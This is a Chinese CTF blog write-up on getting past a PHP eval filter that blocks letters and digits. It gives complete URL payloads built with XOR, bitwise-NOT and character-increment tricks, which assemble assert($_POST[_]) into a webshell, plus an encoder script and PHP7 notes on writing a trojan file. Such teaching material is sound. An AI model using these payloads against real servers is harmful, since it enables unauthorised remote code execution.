0x00 前言

又是好多天没写博客了,就想着再来随便水点什么吧

这种神奇的题曾经在 CNSS Recruit 2019 Web Boss题 中出现过,最近做题又遇到了一次结果还是不会(因为又多过滤了一些符号之前的方法就也不能用了),就把它写下来吧,具体方法有三种,可以灵活使用,这里使用的是 PHP5.6 环境,具体原因会在下文说明,源码如下

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
if(!preg_match('/[a-z0-9]/is',$_GET['code'])) {
eval($_GET['code']);
} else {
die("nonono!");
}

0x01 前置知识(PHP 中的一些特性)

  1. 可变函数,即可以用字符串变量充当函数名(eval 等语言结构不可使用)

    如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它

    1
    2
    3
    4
    <?php
    $a = 'strrev';
    $b = 'Hello';
    echo $a($b); // olleH
  2. 可变变量,即在一个字符串变量前再加一个 $ 可将该变量的值当作变量名

    一个可变变量可以获取一个普通变量的值作为这个可变变量的变量名

    1
    2
    3
    4
    5
    6
    <?php
    $a = 'hello';
    $$a = 'world';
    echo $hello; // world
    $hello = 'dlrow';
    echo $$a; // dlrow

0x02 思路分析及三种方法

我们需要将各种符号进行变换组合,最终构造出各种字母数字,以执行所需命令

大致思路为构造 assert($_POST[_]) 获取 shell

这里说一下需要使用 PHP5 的原因

PHP5 中 assert 为函数,可以通过 $a='assert';$a(...) 的方式执行,这也是之后选用 assert 而不选用 eval 的原因

PHP7 中 assert 变为了和 eval 一样的语言结构,即不能再用以上方法执行

在这篇文章结尾我也会简要分析一下在 PHP7 中怎么操作

法一:异或

异或即 PHP 中的运算符 ^

$a ^ $b Xor(按位异或) 将把 $a$b 中一个为 1 另一个为 0 的位设为 1

两个字符串异或后仍是字符串

这应该是这三种方法中最常用的一个(因为 Google 查到最多的是这种方法),具体选用哪些字符进行异或直接查 ASCII 码表就好(构造小写字母采用反引号 ` ,构造大写字母采用 @ 比较方便)

1
/?code=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%10'^'@').('%0F'^'@').('%13'^'@').('%14'^'@');$___=$$__;$_($___[_]);

整理一下即为以下代码

1
2
3
4
5
<?php
$_ = 'assert';
$__ = '_POST';
$___ = $$__;
$_($___[_]); // assert($_POST[_])

法二:取反

取反即 PHP 中的运算符 ~

~$a Not(按位取反) 将 $a 中为 0 的位设为 1,反之亦然

字符串取反后仍是字符串

在异或运算符 ^ 被过滤时可以考虑这种方法,也是招新 BOSS 题中用到的方法,依然查 ASCII 码表

1
/?code=$_=~'%9E%8C%8C%9A%8D%8B';$__=~'%AF%B0%ACAB';$___=$$__;$_($___[_]);

整理一下即与 0x02 中代码相同

另附一个将字符串转换成上述取反格式的脚本

1
2
3
4
5
6
7
8
#!/bin/python3
s = 'assert'
print("~'", end='')
for i in s:
i1 = hex(15 - int(hex(ord(i))[-2], 16))[-1].upper()
i2 = hex(15 - int(hex(ord(i))[-1], 16))[-1].upper()
print('%' + i1 + i2, end='')
print("'") # ~'%9E%8C%8C%9A%8D%8B'

法三:字符递增

那么如果异或运算符和取反运算符都被过滤了该怎么办呢,这里就要用到递增运算符 ++

然而怎么获得用来递增的第一个字母,这用到了 PHP 的一个特性

在试图将数组转换成字符串时会获得字符串 ‘Array’

可以用以下代码演示这个特性

1
2
3
4
<?php
$a = [];
$b = "$a";
echo $b; // Array

又由于 PHP 中函数名对大小写不敏感,我们可以构造 ASSERT($_POST[_])

1
/?code=$_=[];$__="$_";$___=$__['@'=='!'];$_=$___;$___%2B%2B;$___%2B%2B;$___%2B%2B;$___%2B%2B;$____=$___;$___%2B%2B;$___%2B%2B;$___%2B%2B;$___%2B%2B;$___%2B%2B;$___%2B%2B;$___%2B%2B;$___%2B%2B;$___%2B%2B;$___%2B%2B;$_____=$___;$___%2B%2B;$______=$___;$___%2B%2B;$___%2B%2B;$_______=$___;$___%2B%2B;$________=$___;$___%2B%2B;$_________=$___;$_=$_.$________.$________.$____.$_______.$_________; $__='_'.$______.$_____.$________.$_________; $___=$$__;$_($___[_]);

整理即为以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$_ = [];
$__ = "$_"; // Array
$___ = $__['@' == '#']; // A
$_ = $___; // A
$___++;$___++;$___++;$___++;
$____ = $___; // E
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$_____ = $___; // O
$___++;
$______ = $___; // P
$___++;$___++;
$_______ = $___; // R
$___++;
$________ = $___; // S
$___++;
$_________ = $___; // T
$_ = $_.$________.$________.$____.$_______.$_________; // ASSERT
$__ = '_'.$______.$_____.$________.$_________; //POST
$___ = $$__;
$_($___[_]); // assert($_POST[_])

0x03 PHP7 中可用的方法

  1. 如果 web 用户有读写权限,可以直接用 file_put_content 函数将木马写入文件

  2. 如果无读写权限,可以用上述各种方法构造出自己需要的函数再执行,法三经过一定操作理论上可以构造出所有字母(大写和小写)和数字,小写字母和数字可以用以下方法再结合递增递减即可

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    $_ = [];
    $__ = "$_"; // Array
    $___ = $__['@' == '#']; // A
    $_ = $___; // A
    $___++;$___++;$___++;
    $____ = $___; // D
    $___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
    $_____ = $___; // O
    $___++;$___++;$___++;
    $______ = $___; // R
    $_______ = $_____.$______.$____; // ORD
    $________ = $_______($____) - $_______($_); // 3 (数字在这)
    $____ = $__[$________]; // a (小写字母在这)

0x04 总结

咕了好久才想起来有篇博客没写完,结果这两天又遇到一次依然不会(就是用到了法三),跟在🐙爷爷后面看完题才想起来,卧槽这个我看过(但是还没写

这个故事告诉我们,鸽子迟早是要被炖了的(逃